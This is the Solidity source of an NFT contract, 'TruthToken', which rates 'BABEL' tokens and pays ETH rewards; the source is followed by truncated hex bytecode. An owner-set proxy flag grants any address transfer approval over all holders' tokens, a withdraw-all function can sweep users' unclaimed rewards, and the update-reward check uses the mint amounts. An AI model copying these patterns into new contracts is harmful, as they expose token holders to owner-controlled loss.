{safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.7; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // File: TruthToken.sol pragma solidity ^0.8.0; /** * Truth by Dimenschen */ interface BABEL { function getBabelById(uint) external view returns (string memory); function ownerOf(uint256) external view returns (address); } contract TruthToken is ERC721Enumerable, Ownable { string public constant tokenName = "Truth by Dimenschen"; string public constant tokenSymbol = "TRUTH"; bool public saleIsActive = false; uint256 public constant MAX_TRUTH_PER_BABEL = 100; address public proxyRegistryAddress; address public BABEL_ADDRESS; uint256 public mintPrice = 10000000000000000; // 0.01 ETH uint256 public ownerMintEthReward = 7500000000000000; // 0.0075 ETH uint256 public contractMintEthReward = 2500000000000000; // 0.0025 ETH uint256 public updatePrice = 10000000000000000; // 0.01 ETH uint256 public ownerUpdateEthReward = 7500000000000000; // 0.0075 ETH uint256 public contractUpdateEthReward = 2500000000000000; // 0.0025 ETH uint256 public pendingEthRewards = 0; uint256 public contractsClaimableEth = 0; mapping (uint256 => uint256) public truthIdtoBabelId; mapping (uint256 => uint256) public truthIdToRatingValue; mapping (uint256 => uint256) public truthIdRatingCount; // truth ratings count per babel mapping (uint256 => uint256) public truthIdTotalPoints; // total points awarded per babel mapping (uint256 => uint256[]) public truthTokenIdsPerBabel; // truth tokens array per babel mapping (address => uint256) public userClaimableEth; // users total number of pending ETH rewards mapping(address => bool) public projectProxy; constructor(address _proxyRegistryAddress, address _babelAddress) ERC721(tokenName, tokenSymbol) { proxyRegistryAddress = _proxyRegistryAddress; BABEL_ADDRESS = _babelAddress; } event SaleStateUpdated(bool indexed _state); event mintPriceUpdated(uint256 indexed _price, uint256 indexed _ownerReward, uint256 indexed _contractReward); event updatePriceUpdated(uint256 indexed _price, uint256 indexed _ownerReward, uint256 indexed _contractReward); event userRewardsClaimed(address indexed _owner, uint256 indexed _ethAmount); event newMint(uint256 indexed id, uint256 indexed _rating); event newUpdate(uint256 indexed _tokenId, uint256 indexed oldRating, uint256 indexed _newRating); function sendEthToOwner(address _address, uint256 _reward) internal { payable(_address).transfer(_reward); } function mint(uint256 _babelTokenId, uint256 _rating) public payable { uint256 id = totalSupply(); require(saleIsActive, "Sale is not active"); require(msg.value >= mintPrice, "Eth value sent is below the mint price"); // require babelId to exist string memory babel = BABEL(BABEL_ADDRESS).getBabelById(_babelTokenId); bytes memory b = bytes(babel); require(b.length > 0, "Babel token does not exist"); // require _rating to be between 0-100 require(_rating >= 0 && _rating <= 100, "Rating must be a number from 0-100"); // require babelId to have less than 100 Truth assigned uint256 truthRatingCount = truthIdRatingCount[_babelTokenId] | 0; require(truthRatingCount < MAX_TRUTH_PER_BABEL, "$TRUTH are sold out for this $BABEL"); // BLOCK USER from minting a TRUTH for a BABEL if they already have one uint256[] memory sendersTokens = this.tokensOfOwner(msg.sender); bool alreadyOwnsTruthForBabel = false; for(uint256 i; i < sendersTokens.length; ++i){ // get babel id for that token uint256 ownedBabelId = truthIdtoBabelId[sendersTokens[i]]; if(ownedBabelId == _babelTokenId) alreadyOwnsTruthForBabel = true; } require(alreadyOwnsTruthForBabel == false, "User already owns $TRUTH for this babel"); // conditional to award ETH if contract has sufficient balance uint256 ethBalance = address(this).balance; if ((ethBalance - pendingEthRewards) >= (ownerMintEthReward + contractMintEthReward)) { address owner = BABEL(BABEL_ADDRESS).ownerOf(_babelTokenId); assignEthRewards(owner, ownerMintEthReward, contractMintEthReward); } truthIdtoBabelId[id] = _babelTokenId; truthIdToRatingValue[id] = _rating; truthIdRatingCount[_babelTokenId] += 1; truthTokenIdsPerBabel[_babelTokenId].push(id); truthIdTotalPoints[_babelTokenId] += _rating; _mint(msg.sender, id); emit newMint(id, _rating); } function claimRewards() public { uint256 usersEthRewards = userClaimableEth[msg.sender]; require(usersEthRewards > 0, "No rewards to claim"); require(address(this).balance >= usersEthRewards, "Contract does not have enough ETH"); userClaimableEth[msg.sender] -= usersEthRewards; pendingEthRewards -= usersEthRewards; sendEthToOwner(msg.sender, usersEthRewards); emit userRewardsClaimed(msg.sender, usersEthRewards); } function updateTruthRating(uint256 _tokenId, uint256 _newRating) public payable { uint256 supply = totalSupply(); require(_tokenId < supply, "Token ID does not exist"); require(msg.value >= updatePrice, "Eth value sent is below the update price"); // require msg.sender to be owner of the token address owner = ownerOf(_tokenId); require(msg.sender == owner, "Truth rating can only be updated by the owner"); // validate the rating require(_newRating >= 0 && _newRating <= 100, "Truth rating must be a number from 0-100"); // require _newRating to be different than existing rating uint256 oldRating = truthIdToRatingValue[_tokenId]; require(_newRating != oldRating, "New rating must be a new value"); uint256 babelTokenId = truthIdtoBabelId[_tokenId]; // set new truth value truthIdToRatingValue[_tokenId] = _newRating; // update truthTotalPoints truthIdTotalPoints[babelTokenId] -= oldRating; truthIdTotalPoints[babelTokenId] += _newRating; address babelOwner = BABEL(BABEL_ADDRESS).ownerOf(babelTokenId); uint256 ethBalance = address(this).balance; if ((ethBalance - pendingEthRewards) >= (ownerMintEthReward + contractMintEthReward)) { assignEthRewards(babelOwner, ownerUpdateEthReward, contractUpdateEthReward); } emit newUpdate(_tokenId, oldRating, _newRating); } function assignEthRewards(address _owner, uint256 _ownerReward, uint256 _contractReward) internal { userClaimableEth[_owner] += _ownerReward; contractsClaimableEth += _contractReward; pendingEthRewards += _ownerReward; pendingEthRewards += _contractReward; } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function buildString(string memory _test, uint256 _rating) internal pure returns (string memory) { uint256 j = 25; bytes memory b = bytes(_test); string memory textOutput; //calculate word wrapping uint i = 0; uint e = 0; uint ll = 37; //max length of each line while (true) { e = i + ll; if (e >= b.length) { e = b.length; } else { while (b[e] != ' ' && e > i) { e--; } } // splice the line in bytes memory line = new bytes(e-i); for (uint k = i; k < e; k++) { line[k-i] = b[k]; } textOutput = string(abi.encodePacked(textOutput,'<text class="base" x="15" y = "',toString(j),'">',line,'</text>')); j += 22; if (e >= b.length) break; // finished i = e + 1; } textOutput = string(abi.encodePacked(textOutput,'<text class="title" alignment-baseline="baseline" x="270" y="330">Dimenschen</text>')); textOutput = string(abi.encodePacked(textOutput,'<text class="truth" alignment-baseline="baseline" x="15" y="330">',toString(_rating),'% True</text></svg>')); return textOutput; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(tokenId < totalSupply(), "Token id not yet minted"); uint256 babelId = truthIdtoBabelId[tokenId]; uint256 ratingValue = truthIdToRatingValue[tokenId]; string memory babel = BABEL(BABEL_ADDRESS).getBabelById(babelId); // return finalized token visuals and metadata string memory output = string(abi.encodePacked('<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><defs><linearGradient id="rectGradient" gradientTransform="rotate(90)"><stop offset="69%" stop-color="#20d1cc" /><stop offset="79%" stop-color="#000033" /></linearGradient><linearGradient id="circleGradient" gradientTransform="rotate(315)"><stop offset="10%" stop-color="#20d1cc" /><stop offset="90%" stop-color="#000033" /></linearGradient></defs><style>.title { fill: #20d1cc; font-family: Liberation Mono; font-size: 12px; } .truth { fill: #20d1cc; font-family: Liberation Mono; font-size: 22px; } .base { fill: #000033; font-family: Liberation Mono; font-size: 18px; font-weight: 300; }</style><rect width="100%" height="100%" fill="url(#rectGradient)" /><circle cx="275" cy="150" r="50" fill="url(#circleGradient)" />')); // add text to image string memory textString = buildString(babel, ratingValue); output = string(abi.encodePacked(output, textString)); // Add metadata to json string memory jsonMeta = string(abi.encodePacked('{"name": "',babel,'", "description": "The Library of Babel is total, perfect, complete, and whole. Inquisitors of the Library of Babel inquire about the $BABEL that have been cataloged by the Librarians, creating a single, decentralized, and permanent record of different types of analysis of thought stored on the Ethereum blockchain.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '",')); jsonMeta = string(abi.encodePacked(jsonMeta, ' "attributes": [{ "trait_type": "BABEL ID", "value": "',toString(babelId),'" }, { "trait_type": "TRUTH RATING", "value": "',toString(ratingValue),'" }]}')); string memory json = Base64.encode(bytes(jsonMeta)); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function tokensOfOwner(address _owner) external view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function truthIdsPerBabel(uint256 _babelTokenId) external view returns(uint256[] memory) { uint256 tokenCount = truthIdRatingCount[_babelTokenId]; if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = truthTokenIdsPerBabel[_babelTokenId][index]; } return result; } } function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } function flipProxyState(address proxyAddress) external onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; emit SaleStateUpdated(saleIsActive); } function updateMintPrice(uint256 _price, uint256 _ownerReward, uint256 _contractReward) public onlyOwner { require(_ownerReward + _contractReward == _price, "Rewards must be equal to the cost of a mint."); ownerMintEthReward = _ownerReward; contractMintEthReward = _contractReward; mintPrice = _price; emit mintPriceUpdated(_price, _ownerReward, _contractReward); } function updateUpdatePrice(uint256 _price, uint256 _ownerReward, uint256 _contractReward) public onlyOwner { require(_ownerReward + _contractReward == _price, "Rewards must be equal to the cost of an update."); ownerUpdateEthReward = _ownerReward; contractUpdateEthReward = _contractReward; updatePrice = _price; emit updatePriceUpdated(_price, _ownerReward, _contractReward); } function getBalance() public view returns (uint256) { uint256 balance = address(this).balance; return balance; } function claimContractEthRewards() public onlyOwner { uint256 claimableEth = contractsClaimableEth; pendingEthRewards -= claimableEth; contractsClaimableEth -= claimableEth; payable(msg.sender).transfer(claimableEth); } function emergencyWithdrawAll() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == operator || projectProxy[operator]) return true; return super.isApprovedForAll(_owner, operator); } } contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x60806040526004361061031a5760003560e01c80636eae65dd116101ab578063c87b56dd116100f7578063ea2c156811610095578063f2fde38b1161006f578063f2fde38b1461093c578063f65126811461095c578063f73c814b1461096f578063fcaaca401461098f57600080fd5b8063ea2c1568146108e5578063eb8d2444146108fb578063eee816731461091c57600080fd5b8063d50c5747116100d1578063d50c57471461087b578063dd1917191461089b578063ddff6661146108b0578063e985e9c5146108c557600080fd5b8063c87b56dd1461081b578063cd7c03261461083b578063d26ea6c01461085b57600080fd5b80638da5cb5b11610164578063ad44e7d61161013e578063ad44e7d614610798578063b88d4fde146107b8578063bf2caf71146107d8578063c5288149146107ee57600080fd5b80638da5cb5b1461074557806395d89b4114610763578063a22cb4651461077857600080fd5b80636eae65dd1461067c5780636f4cb3f71461069257806370a08231146106b2578063715018a6146106d25780637b61c320146106e75780638462151c1461071857600080fd5b80632f91f30b1161026a5780635bab26e211610223578063673a7e28116101fd578063673a7e28146105e45780636817c76c146105fa5780636911940a146106105780636c02a9311461063d57600080fd5b80635bab26e21461057e5780636352211e146105ae57806364738c9f146105ce57600080fd5b80632f91f30b146104d157806333aaa178146104fe57806334918dfd14610514578063372500ab1461052957806342842e0e1461053e5780634f6ccce71461055e57600080fd5b806312065fe0116102d75780631b2ef1ca116102b15780631b2ef1ca1461045e57806323b872dd146104715780632c9a0256146104915780632f745c59146104b157600080fd5b806312065fe01461040957806318160ddd1461041c5780631a5e5fb31461043157600080fd5b806301ffc9a71461031f5780630554eb551461035457806306fdde031461036b578063081812fc1461038d578063095ea7b3146103c557806309d215f7146103e5575b600080fd5b34801561032b57600080fd5b5061033f61033a3660046133dd565b6109bc565b60405190151581526020015b60405180910390f35b34801561036057600080fd5b506103696109e7565b005b34801561037757600080fd5b50610380610a82565b60405161034b9190613aca565b34801561039957600080fd5b506103ad6103a836600461348e565b610b14565b6040516001600160a01b03909116815260200161034b565b3480156103d157600080fd5b506103696103e0366004613304565b610b9c565b3480156103f157600080fd5b506103fb600e5481565b60405190815260200161034b565b34801561041557600080fd5b50476103fb565b34801561042857600080fd5b506002546103fb565b34801561043d57600080fd5b506103fb61044c36600461348e565b60126020526000908152604090205481565b61036961046c3660046134a7565b610cb2565b34801561047d57600080fd5b5061036961048c3660046131e1565b6111b2565b34801561049d57600080fd5b506103fb6104ac3660046134a7565b6111e3565b3480156104bd57600080fd5b506103fb6104cc366004613304565b611214565b3480156104dd57600080fd5b506103fb6104ec36600461348e565b60106020526000908152604090205481565b34801561050a57600080fd5b506103fb600a5481565b34801561052057600080fd5b506103696112c7565b34801561053557600080fd5b5061036961134a565b34801561054a57600080fd5b506103696105593660046131e1565b61146f565b34801561056a57600080fd5b506103fb61057936600461348e565b61148a565b34801561058a57600080fd5b5061033f610599366004613167565b60166020526000908152604090205460ff1681565b3480156105ba57600080fd5b506103ad6105c936600461348e565b6114f7565b3480156105da57600080fd5b506103fb60095481565b3480156105f057600080fd5b506103fb600b5481565b34801561060657600080fd5b506103fb60085481565b34801561061c57600080fd5b506103fb61062b366004613167565b60156020526000908152604090205481565b34801561064957600080fd5b50610380604051806040016040528060138152602001722a393aba3410313c902234b6b2b739b1b432b760691b81525081565b34801561068857600080fd5b506103fb600c5481565b34801561069e57600080fd5b506007546103ad906001600160a01b031681565b3480156106be57600080fd5b506103fb6106cd366004613167565b611583565b3480156106de57600080fd5b50610369611651565b3480156106f357600080fd5b50610380604051806040016040528060058152602001640a8a4aaa8960db1b81525081565b34801561072457600080fd5b50610738610733366004613167565b611687565b60405161034b9190613a86565b34801561075157600080fd5b506005546001600160a01b03166103ad565b34801561076f57600080fd5b50610380611760565b34801561078457600080fd5b506103696107933660046132d1565b61176f565b3480156107a457600080fd5b506107386107b336600461348e565b611834565b3480156107c457600080fd5b506103696107d3366004613222565b6118fe565b3480156107e457600080fd5b506103fb600f5481565b3480156107fa57600080fd5b506103fb61080936600461348e565b60136020526000908152604090205481565b34801561082757600080fd5b5061038061083636600461348e565b611936565b34801561084757600080fd5b506006546103ad906001600160a01b031681565b34801561086757600080fd5b50610369610876366004613167565b611f07565b34801561088757600080fd5b506103696108963660046134c9565b611f53565b3480156108a757600080fd5b50610369612030565b3480156108bc57600080fd5b506103fb606481565b3480156108d157600080fd5b5061033f6108e03660046131a8565b612089565b3480156108f157600080fd5b506103fb600d5481565b34801561090757600080fd5b5060055461033f90600160a01b900460ff1681565b34801561092857600080fd5b506103696109373660046134c9565b61217c565b34801561094857600080fd5b50610369610957366004613167565b612256565b61036961096a3660046134a7565b6122f1565b34801561097b57600080fd5b5061036961098a366004613167565b612637565b34801561099b57600080fd5b506103fb6109aa36600461348e565b60116020526000908152604090205481565b60006001600160e01b0319821663780e9d6360e01b14806109e157506109e18261268a565b92915050565b6005546001600160a01b03163314610a1a5760405162461bcd60e51b8152600401610a1190613b7a565b60405180910390fd5b6000600f54905080600e6000828254610a339190613ca4565b9250508190555080600f6000828254610a4c9190613ca4565b9091555050604051339082156108fc029083906000818181858888f19350505050158015610a7e573d6000803e3d6000fd5b5050565b606060008054610a9190613cfe565b80601f0160208091040260200160405190810160405280929190818152602001828054610abd90613cfe565b8015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b5050505050905090565b6000610b1f826126da565b610b805760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a11565b506000908152600360205260409020546001600160a01b031690565b6000610ba7826114f7565b9050806001600160a01b0316836001600160a01b03161415610c155760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a11565b336001600160a01b0382161480610c315750610c318133612089565b610ca35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a11565b610cad8383612724565b505050565b6000610cbd60025490565b600554909150600160a01b900460ff16610d0e5760405162461bcd60e51b815260206004820152601260248201527153616c65206973206e6f742061637469766560701b6044820152606401610a11565b600854341015610d6f5760405162461bcd60e51b815260206004820152602660248201527f4574682076616c75652073656e742069732062656c6f7720746865206d696e7460448201526520707269636560d01b6064820152608401610a11565b6007546040516356243a0960e11b8152600481018590526000916001600160a01b03169063ac4874129060240160006040518083038186803b158015610db457600080fd5b505afa158015610dc8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610df09190810190613417565b80519091508190610e435760405162461bcd60e51b815260206004820152601a60248201527f426162656c20746f6b656e20646f6573206e6f742065786973740000000000006044820152606401610a11565b6064841115610e9f5760405162461bcd60e51b815260206004820152602260248201527f526174696e67206d7573742062652061206e756d6265722066726f6d20302d31604482015261030360f41b6064820152608401610a11565b60008581526012602052604090205460648110610f0a5760405162461bcd60e51b815260206004820152602360248201527f2454525554482061726520736f6c64206f757420666f7220746869732024424160448201526210915360ea1b6064820152608401610a11565b604051632118854760e21b81523360048201526000903090638462151c9060240160006040518083038186803b158015610f4357600080fd5b505afa158015610f57573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f7f9190810190613330565b90506000805b8251811015610fdd57600060106000858481518110610fa657610fa6613d8e565b6020026020010151815260200190815260200160002054905089811415610fcc57600192505b50610fd681613d33565b9050610f85565b50801561103c5760405162461bcd60e51b815260206004820152602760248201527f5573657220616c7265616479206f776e732024545255544820666f72207468696044820152661cc8189858995b60ca1b6064820152608401610a11565b600a54600954479161104d91613c59565b600e5461105a9083613ca4565b106110ef576007546040516331a9108f60e11b8152600481018b90526000916001600160a01b031690636352211e9060240160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061318b565b90506110ed81600954600a54612792565b505b60008781526010602090815260408083208c9055601182528083208b90558b835260129091528120805460019290611128908490613c59565b909155505060008981526014602090815260408083208054600181018255908452828420018a90558b83526013909152812080548a929061116a908490613c59565b9091555061117a9050338861280f565b604051889088907f1093a70a3d84fc81e25325288fec1dd7efb043e2985374fd0276572b6a4b9f5d90600090a3505050505050505050565b6111bc3382612937565b6111d85760405162461bcd60e51b8152600401610a1190613baf565b610cad8383836129f9565b601460205281600052604060002081815481106111ff57600080fd5b90600052602060002001600091509150505481565b600061121f83611583565b821061123d5760405162461bcd60e51b8152600401610a1190613add565b6000805b6002548110156112ae576002818154811061125e5761125e613d8e565b6000918252602090912001546001600160a01b038681169116141561129c578382141561128e5791506109e19050565b8161129881613d33565b9250505b806112a681613d33565b915050611241565b5060405162461bcd60e51b8152600401610a1190613add565b6005546001600160a01b031633146112f15760405162461bcd60e51b8152600401610a1190613b7a565b6005805460ff600160a01b808304821615810260ff60a01b199093169290921792839055604051919092049091161515907f1fc466dae96e61aa16f284bedd01e08ffd4c11b154893b64fb405c13544eb49f90600090a2565b336000908152601560205260409020548061139d5760405162461bcd60e51b81526020600482015260136024820152724e6f207265776172647320746f20636c61696d60681b6044820152606401610a11565b804710156113f75760405162461bcd60e51b815260206004820152602160248201527f436f6e747261637420646f6573206e6f74206861766520656e6f7567682045546044820152600960fb1b6064820152608401610a11565b3360009081526015602052604081208054839290611416908490613ca4565b9250508190555080600e600082825461142f9190613ca4565b9091555061143f90503382612b4f565b604051819033907f176732576ed9e63d4042a96c41db583c265bfb8f2a69895bf3085068704ab5a590600090a350565b610cad838383604051806020016040528060008152506118fe565b60025460009082106114f35760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a11565b5090565b6000806002838154811061150d5761150d613d8e565b6000918252602090912001546001600160a01b03169050806109e15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610a11565b60006001600160a01b0382166115ee5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a11565b6000805b60025481101561164a576002818154811061160f5761160f613d8e565b6000918252602090912001546001600160a01b038581169116141561163a5761163782613d33565b91505b61164381613d33565b90506115f2565b5092915050565b6005546001600160a01b0316331461167b5760405162461bcd60e51b8152600401610a1190613b7a565b6116856000612b85565b565b6060600061169483611583565b9050806116cf5760005b6040519080825280602002602001820160405280156116c7578160200160208202803683370190505b509392505050565b60008167ffffffffffffffff8111156116ea576116ea613da4565b604051908082528060200260200182016040528015611713578160200160208202803683370190505b50905060005b828110156116c75761172b8582611214565b82828151811061173d5761173d613d8e565b60209081029190910101528061175281613d33565b915050611719565b50919050565b606060018054610a9190613cfe565b6001600160a01b0382163314156117c85760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a11565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000818152601260205260409020546060908061185257600061169e565b60008167ffffffffffffffff81111561186d5761186d613da4565b604051908082528060200260200182016040528015611896578160200160208202803683370190505b50905060005b828110156116c75760008581526014602052604090208054829081106118c4576118c4613d8e565b90600052602060002001548282815181106118e1576118e1613d8e565b6020908102919091010152806118f681613d33565b91505061189c565b6119083383612937565b6119245760405162461bcd60e51b8152600401610a1190613baf565b61193084848484612bd7565b50505050565b606061194160025490565b821061198f5760405162461bcd60e51b815260206004820152601760248201527f546f6b656e206964206e6f7420796574206d696e7465640000000000000000006044820152606401610a11565b60008281526010602090815260408083205460119092528083205460075491516356243a0960e11b8152600481018490529293909290916001600160a01b03169063ac4874129060240160006040518083038186803b1580156119f157600080fd5b505afa158015611a05573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611a2d91